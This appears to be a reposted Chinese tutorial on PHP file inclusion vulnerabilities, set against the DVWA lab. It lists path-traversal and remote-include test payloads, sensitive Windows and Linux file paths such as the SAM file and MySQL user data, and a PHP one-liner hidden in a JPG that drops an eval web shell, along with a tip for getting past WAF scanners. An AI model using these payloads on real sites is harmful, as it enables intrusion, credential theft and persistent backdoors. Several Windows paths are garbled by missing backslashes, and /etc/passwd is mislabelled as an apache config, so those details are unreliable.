头文件包漏洞
Posted whoamwho
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了头文件包漏洞相关的知识,希望对你有一定的参考价值。
文件包含漏洞,简单地说,就是在通过函数包含文件时,由于没有对包含的文件名进行有效的过滤处理,被攻击者利用从而导致了包含了Web根目录以外的文件进来,就会导致文件信息的泄露甚至注入了恶意代码。
php文件包含的几个函数:
include():只有代码执行到该函数时才会包含文件进来,发生错误时只给出一个警告并继续向下执行。
include_once():和include()功能相同,区别在于当重复调用同一文件时,程序只调用一次。
require():只要程序执行就包含文件进来,发生错误时会输出错误结果并终止运行。
require_once():和require()功能相同,区别在于当重复调用同一文件时,程序只调用一次。
文件包含漏洞的一般特征如下:
?page=a.php
?home=a.html
?file=content
几种经典的测试方法:
?file=../../../../../etc/passwd
?page=file:///etc/passwd
?home=main.cgi
?page=http://www.a.com/1.php
http://1.1.1.1/../../../../dir/file.txt
系统中常见的敏感信息路径如下:
①Windows系统
C:oot.ini //查看系统版本
C:windowssystem32inetsrvMetaBase.xml //IIS配置文件
C:windows epairsam //存储windows系统初次安装的密码
C:Program Filesmysqlmy.ini //Mysql配置
C:Program Filesmysqldatamysqluser.MYD //Mysql root
C:windowsphp.ini //php配置信息
C:windowsmy.ini //Mysql配置文件
②UNIX/Linux系统
/etc/passwd //apache2默认配置文件
/usr/local/app/apache2/conf/http.conf //apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-chosts.conf //虚拟网站设置
/usr/local/app/php5/lib/php.ini //PHP相关设置
/etc/httpd/conf/httpd.conf //apache配置文件
/etc/my.cnf //Mysql的配置文件
文件包含漏洞的另一个主要利用方式是配合文件上传。比如大多数网站都会提供文件上传功能,但一般只允许上传jpg或gif等图片文件,通过配合文件包含漏洞就可以在网站中生成一句话木马网页文件。
比如,在记事本中写入下面这段代码,并将之保存成jpg文件。
<?php fputs(fopen("shell.php","w"), "<?php eval($_POST[aaa]);?>");?>
将文件上传到DVWA目录中,文件路径为D:AppServwwwdvwa1.jpg,那么通过文件包含漏洞就可以执行jpg文件中的代码,从而在D:AppServwwwdvwavulnerabilitiesfi目录中生成shell.php文件,而文件内容正是一句话木马。
另外,文件包含漏洞还可被用于绕过WAF防火墙。比如将WebShell上传到网站后,可能会被安全狗等安全工具查杀,这时可将WebShell保存成图片文件,然后通过文件包含功能去执行它。
以上是关于头文件包漏洞的主要内容,如果未能解决你的问题,请参考以下文章